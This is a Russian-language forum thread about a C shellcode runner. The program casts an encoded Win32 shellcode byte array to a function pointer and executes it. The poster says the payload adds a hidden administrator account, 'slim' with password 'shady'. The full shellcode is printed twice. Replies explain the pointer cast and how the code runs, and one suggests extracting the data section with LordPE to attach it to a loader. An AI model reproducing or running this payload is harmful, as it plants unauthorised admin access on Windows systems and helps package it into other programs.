PHP: #include <stdio.h> unsigned char data[] = "\xEB\x0F\x58\x80\x30\x17\x40\x81\x38\x6D\x61\x7A\x61\x75\xF4\xEB" "\x05\xE8\xEC\xFF\xFF\xFF\xFE\xB6\x17\x17\x17\x4A\x42\x26\xCC\x73" "\x9C\x14\x57\x84\x9C\x54\xE8\x57\x62\xEE\x9C\x44\x14\x71\x26\xC5" "\x71\xAF\x17\x07\x71\x96\x2D\x5A\x4D\x63\x13\x3E\xD5\xFC\xE2\x9E" "\xC4\x9C\x6D\x2B\x16\xC0\x14\x48\x6F\x9C\x5C\x0F\x9C\x64\x37\x9C" "\x6C\x33\x16\xC1\x16\xC0\xEB\xBA\x16\xC7\x81\x90\xEA\x46\x26\xDE" "\x97\xD6\x18\xE4\xB1\x65\x1D\x81\x4E\x90\xEA\x63\x18\x50\x50\xF5" "\xF1\xA9\x18\x17\x17\x17\x3E\xD9\x3E\xE0\xFC\xFC\x26\xD7\x71\x9C" "\x10\xD6\xF7\x15\x9C\x64\x0B\x16\xC1\x16\xD1\xBA\x16\xC7\x9E\xD1" "\x9E\xC0\x4A\x9A\x92\x0B\x17\x17\x17\x47\x40\xE8\xC1\x7F\x12\x17" "\x17\x17\x9A\x9A\x27\x17\x17\x17\x46\xE8\xC7\x9A\x92\x33\x17\x17" "\x17\x47\x40\xE8\xC1\x7F\x17\x17\x17\x17\xE8\xC7\xFF\x4D\xE8\xE8" "\xE8\x50\x72\x63\x47\x65\x78\x74\x56\x73\x73\x65\x72\x64\x64\x17" "\x5B\x78\x76\x73\x5B\x7E\x75\x65\x76\x65\x6E\x56\x17\x40\x7E\x79" "\x52\x6F\x72\x74\x17\x52\x6F\x7E\x63\x47\x65\x78\x74\x72\x64\x64" "\x17\x74\x7A\x73\x37\x38\x74\x37\x79\x72\x63\x37\x62\x64\x72\x65" "\x37\x38\x76\x73\x73\x37\x64\x7B\x7E\x7A\x37\x64\x7F\x76\x73\x6E" "\x31\x31\x79\x72\x63\x37\x7B\x78\x74\x76\x7B\x70\x65\x78\x62\x67" "\x37\x38\x76\x73\x73\x37\xF7\xF3\xFB\xFF\xFA\xFF\xE6\xE5\xE7\xF7" "\xE5\xF9\xE7\xEC\x37\x64\x7B\x7E\x7A\x17\x6D\x61\x7A\x61"; int main() { void (*shell)(); *(int *)&shell = (int)data; shell(); } Чет я не пойму как работает этот кусок кода, в частноси *(int *)&shell = (int)data; Он создает юзера slim и пароль shady с правами админа под вин32 И как можно прочитать(!) data
вообще-то в этом деле я нуб, но попробую обьяснить: Code: unsigned char data[] = "\xEB\x0F\x58\x80\x30\x17\x40\x81\x38\x6D\x61\x7A\x61\x75\xF4\xEB" "\x05\xE8\xEC\xFF\xFF\xFF\xFE\xB6\x17\x17\x17\x4A\x42\x26\xCC\x73" "\x9C\x14\x57\x84\x9C\x54\xE8\x57\x62\xEE\x9C\x44\x14\x71\x26\xC5" "\x71\xAF\x17\x07\x71\x96\x2D\x5A\x4D\x63\x13\x3E\xD5\xFC\xE2\x9E" "\xC4\x9C\x6D\x2B\x16\xC0\x14\x48\x6F\x9C\x5C\x0F\x9C\x64\x37\x9C" "\x6C\x33\x16\xC1\x16\xC0\xEB\xBA\x16\xC7\x81\x90\xEA\x46\x26\xDE" "\x97\xD6\x18\xE4\xB1\x65\x1D\x81\x4E\x90\xEA\x63\x18\x50\x50\xF5" "\xF1\xA9\x18\x17\x17\x17\x3E\xD9\x3E\xE0\xFC\xFC\x26\xD7\x71\x9C" "\x10\xD6\xF7\x15\x9C\x64\x0B\x16\xC1\x16\xD1\xBA\x16\xC7\x9E\xD1" "\x9E\xC0\x4A\x9A\x92\x0B\x17\x17\x17\x47\x40\xE8\xC1\x7F\x12\x17" "\x17\x17\x9A\x9A\x27\x17\x17\x17\x46\xE8\xC7\x9A\x92\x33\x17\x17" "\x17\x47\x40\xE8\xC1\x7F\x17\x17\x17\x17\xE8\xC7\xFF\x4D\xE8\xE8" "\xE8\x50\x72\x63\x47\x65\x78\x74\x56\x73\x73\x65\x72\x64\x64\x17" "\x5B\x78\x76\x73\x5B\x7E\x75\x65\x76\x65\x6E\x56\x17\x40\x7E\x79" "\x52\x6F\x72\x74\x17\x52\x6F\x7E\x63\x47\x65\x78\x74\x72\x64\x64" "\x17\x74\x7A\x73\x37\x38\x74\x37\x79\x72\x63\x37\x62\x64\x72\x65" "\x37\x38\x76\x73\x73\x37\x64\x7B\x7E\x7A\x37\x64\x7F\x76\x73\x6E" "\x31\x31\x79\x72\x63\x37\x7B\x78\x74\x76\x7B\x70\x65\x78\x62\x67" "\x37\x38\x76\x73\x73\x37\xF7\xF3\xFB\xFF\xFA\xFF\xE6\xE5\xE7\xF7" "\xE5\xF9\xE7\xEC\x37\x64\x7B\x7E\x7A\x17\x6D\x61\x7A\x61"; это машинный код, тоесть создается буфер data содержащий машинный код (который создает юзера slim и пароль shady с правами админа - если тебе верить) Code: void (*shell)(); *(int *)&shell = (int)data; создается функция shell стартовый адрес которой содержится в машинном коде data Code: shell(); фактически это выполнение машинного кода который содержится в data
компилируешь программу, выполняющую шеллкод и с помощью утилиты LordPE сохраняешь содержащую его секцию данных. дальше можешь ее "прикру4ивать" куда нужно делая загруз4ик...хотя в данном слу4ае не вижу в єтом смысла... а по поводу перевода в асм или т.п.: по4итай The Complete Pentium Instruction Set Table (32 Bit Addressing Mode Only) by Sang Cho
кстати внимание при самопальном написании подобной вещи стоит уделять соглашению о вызовах по умолчанию (calling convention (stdcall/cdecl)) иначе можно уехать в рантайм изза стека))